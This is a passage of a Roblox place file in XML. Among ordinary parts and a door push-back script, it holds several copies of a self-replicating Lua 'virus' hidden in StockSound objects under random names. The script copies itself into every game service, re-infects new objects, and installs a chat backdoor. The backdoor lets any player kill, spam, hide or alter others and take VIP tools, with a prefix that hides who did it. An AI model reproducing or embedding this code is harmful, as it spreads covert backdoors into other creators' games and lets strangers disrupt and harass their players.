if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX744">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">11</int>
						<CoordinateFrame name="CFrame">
							<X>-213.5</X>
							<Y>62.1000023</Y>
							<Z>-7.5</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>-1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>1</R20>
							<R21>0</R21>
							<R22>-0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">true</bool>
						<token name="Material">256</token>
						<string name="Name">OneWayDoor</string>
						<float name="Reflectance">0.100000001</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.100000001</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>75</X>
							<Y>123</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Script" referent="RBX745">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">PushPack</string>
							<string name="Source">door = script.Parent

function onTouch(hit)
	if hit.Parent == nil then return end
	local h = hit.Parent:FindFirstChild(&quot;Humanoid&quot;)
	if h ~= nil then
		hit.Parent.Torso.Velocity=door.CFrame.lookVector * 100 -- Push the Player back
	end
end
door.Touched:connect(onTouch)</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX746">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">2xdje</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX747">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">ugwdq</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX748">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">wcn84mi</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX749">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">b9gch</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
